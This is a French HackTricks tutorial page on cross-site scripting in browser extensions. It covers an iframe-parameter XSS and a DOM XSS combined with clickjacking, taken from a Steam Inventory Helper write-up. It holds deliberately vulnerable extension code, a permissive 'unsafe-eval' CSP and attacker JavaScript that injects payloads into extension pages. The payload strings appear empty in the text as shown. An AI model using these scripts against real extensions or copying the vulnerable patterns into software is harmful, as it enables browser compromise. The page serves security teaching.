# BrowExt - Exemple de XSS
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Cross-Site Scripting (XSS) via Iframe Dans cette configuration, un **script de contenu** est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe : ```javascript chrome.storage.local.get("message", result => { let constructedURL = chrome.runtime.getURL("message.html") + "?content=" + encodeURIComponent(result.message) + "&redirect=https://example.net/details"; frame.src = constructedURL; }); ``` Une page HTML publiquement accessible, **`message.html`**, est conçue pour ajouter dynamiquement du contenu au corps du document en fonction des paramètres dans l'URL : ```javascript $(document).ready(() => { let urlParams = new URLSearchParams(window.location.search); let userContent = urlParams.get("content"); $(document.body).html(`${userContent} `); $('#detailBtn').on('click', () => { let destinationURL = urlParams.get("redirect"); chrome.tabs.create({ url: destinationURL }); }); }); ``` Un script malveillant est exécuté sur la page d'un adversaire, modifiant le paramètre `content` de la source de l'Iframe pour introduire une **charge utile XSS**. Cela est réalisé en mettant à jour la source de l'Iframe pour inclure un script nuisible : ```javascript setTimeout(() => { let targetFrame = document.querySelector("iframe").src; let baseURL = targetFrame.split('?')[0]; let xssPayload = ""; let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`; document.querySelector("iframe").src = maliciousURL; }, 1000); ``` Une politique de sécurité du contenu excessivement permissive telle que : ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` Permet l'exécution de JavaScript, rendant le système vulnérable aux attaques XSS. Une approche alternative pour provoquer le XSS consiste à créer un élément Iframe et à définir sa source pour inclure le script malveillant en tant que paramètre `content`: ```javascript let newFrame = document.createElement("iframe"); newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + encodeURIComponent(""); document.body.append(newFrame); ``` ## XSS basé sur le DOM + ClickJacking Cet exemple a été tiré du [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). Le problème principal découle d'une vulnérabilité de type Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, faisant partie de **`bookmarks.js`**, est détaillé ci-dessous: ```javascript $('#btAdd').on('click', function() { var bookmarkName = $('#txtName').val(); if ($('.custom-button .label').filter(function() { return $(this).text() === bookmarkName; }).length) return false; var bookmarkItem = $('
'); bookmarkItem.html('' + bookmarkName + ''); bookmarkItem.append(''); bookmarkItem.attr('data-title', bookmarkName); bookmarkItem.data('timestamp', (new Date().getTime())); $('section.bookmark-container .existing-items').append(bookmarkItem); persistData(); }); ``` Ce fragment extrait la **valeur** du champ de saisie **`txtName`** et utilise la **concaténation de chaînes pour générer du HTML**, qui est ensuite ajouté au DOM à l'aide de la fonction `.append()` de jQuery. En général, la **Politique de sécurité du contenu (CSP)** de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de la **relaxation de la CSP avec 'unsafe-eval'** et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui utilisent [`globalEval()`](https://api.jquery.com/jquery.globaleval/) pour transmettre des scripts à [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) lors de l'insertion dans le DOM), l'exploitation reste possible. Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, saisir une charge utile XSS et activer le bouton "Ajouter". Pour renforcer cette vulnérabilité, une deuxième vulnérabilité de **clickjacking** est exploitée. Le manifeste de l'extension Chrome présente une politique étendue `web_accessible_resources` : ```json "web_accessible_resources": [ "html/bookmarks.html", "dist/*", "assets/*", "font/*", [...] ], ``` Notamment, la page **`/html/bookmarks.html`** est sujette au cadrage, donc vulnérable au **clickjacking**. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la recouvrant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente. ## Références * [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) * [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.